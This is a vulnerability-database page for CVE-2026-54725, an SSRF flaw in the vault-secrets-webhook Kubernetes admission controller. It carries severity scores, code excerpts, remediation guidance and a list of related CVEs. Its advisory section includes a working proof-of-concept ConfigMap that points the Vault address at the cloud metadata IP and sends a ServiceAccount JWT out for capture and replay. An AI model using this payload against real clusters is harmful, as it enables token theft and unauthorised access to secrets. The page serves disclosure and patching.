Skip to main content

vault-secrets-webhook CVE-2026-54725

| EUVDEUVD-2026-51591 CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-31 https://github.com/bank-vaults/vault-secrets-webhook GHSA-r2v3-8gwf-7ghm
9.6
CVSS 3.1 · Vendor: https://github.com/bank-vaults/vault-secrets-webhook
Share

Severity by source

Vendor (https://github.com/bank-vaults/vault-secrets-webhook) PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI
9.6 CRITICAL

Reachable over the API server with only ConfigMap/Secret write (PR:L, AC:L, UI:N); the webhook acts on other identities (S:C) leaking SA tokens/secrets (C:H) and enabling forged requests (I:H), no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/bank-vaults/vault-secrets-webhook).

CVSS VectorVendor: https://github.com/bank-vaults/vault-secrets-webhook

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 31, 2026 - 18:20 vuln.today
Analysis Generated
Jul 31, 2026 - 18:20 vuln.today
CVE Published
Jul 31, 2026 - 17:45 github-advisory
CRITICAL 9.6

DescriptionCVE.org

Summary

The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.

Details

parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:

go
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
    vaultConfig.Addr = value
}

No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.

MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:

go
clientConfig.Address = vaultConfig.Addr

vault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.

The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.

When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:

go
mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
    ctx, saName, &tokenRequest, metav1.CreateOptions{})

The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.

Proof of Concept

Create a ConfigMap in any watched namespace:

yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: ssrf-poc
  namespace: tenant-ns
  annotations:
    vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
    vault.security.banzaicloud.io/vault-skip-verify: "true"
    vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
  secret-key: "vault:secret/data/test#value"

When this ConfigMap is created, the vault-secrets-webhook admission handler:

  1. Parses the annotations and reads vault-addr: http://169.254.169.254/latest/meta-data/
  2. Calls CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...) using cluster-wide serviceaccounts/token:create
  3. Calls vault.NewClientFromConfigWithContext which POSTs the JWT to http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login
  4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity

For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.

Impact

A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:

  1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
  2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access

The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.

AnalysisAI

Server-side request forgery in bank-vaults vault-secrets-webhook (<= 1.22.2) lets a low-privileged tenant with ConfigMap or Secret create/update rights in any watched namespace force the cluster-wide admission webhook to make attacker-controlled outbound HTTP requests and exfiltrate ServiceAccount JWTs. The webhook trusts the vault.security.banzaicloud.io/vault-addr annotation with no scheme validation or host allowlist, then synchronously mints a SA token (via cluster-wide serviceaccounts/token:create) and POSTs it to the attacker's address, which can be replayed against the real Vault. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain ConfigMap/Secret write in watched namespace
Delivery
Craft object with vault-addr and vault-serviceaccount annotations
Exploit
Webhook parses annotation, mints SA JWT
Execution
Webhook POSTs token to attacker address
Persist
Capture Bearer JWT / reach IMDS
Impact
Replay JWT against real Vault to read secrets

Vulnerability AssessmentAI

Exploitation Exploitation requires that the attacker can create or update a ConfigMap or Secret in a namespace watched by the vault-secrets-webhook, and that the object contains at least one value prefixed with vault: (which triggers newVaultClient and the outbound call). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The signals mostly align on high real-world risk, tempered by the required foothold. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A tenant who can create ConfigMaps in a namespace watched by the webhook submits a ConfigMap carrying a vault: data value plus the vault-addr, vault-skip-verify, and vault-serviceaccount annotations pointing at an attacker-run HTTP server (or cloud IMDS). At admission, the webhook mints the named ServiceAccount's JWT and POSTs it to the attacker address, letting the attacker capture the Bearer token and replay it against the real Vault, or reach internal/IMDS endpoints from the webhook pod's identity. …
Remediation Vendor-released patch: 1.23.1 - upgrade the vault-secrets-webhook (and Helm chart) to v1.23.1 or later (https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1, fix commit https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0); the fix adds address validation for object-supplied annotations, a vault_addr_allowlist, a vault_allow_private_addr toggle (default off, blocking RFC-1918/link-local/IMDS), and vault_allow_object_skip_verify (default off) so vault-skip-verify from objects no longer disables TLS. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all Kubernetes clusters running vault-secrets-webhook versions 1.22.2 or earlier and identify which namespaces grant ConfigMap or Secret create/update permissions to low-privileged service accounts. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

Share

CVE-2026-54725 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy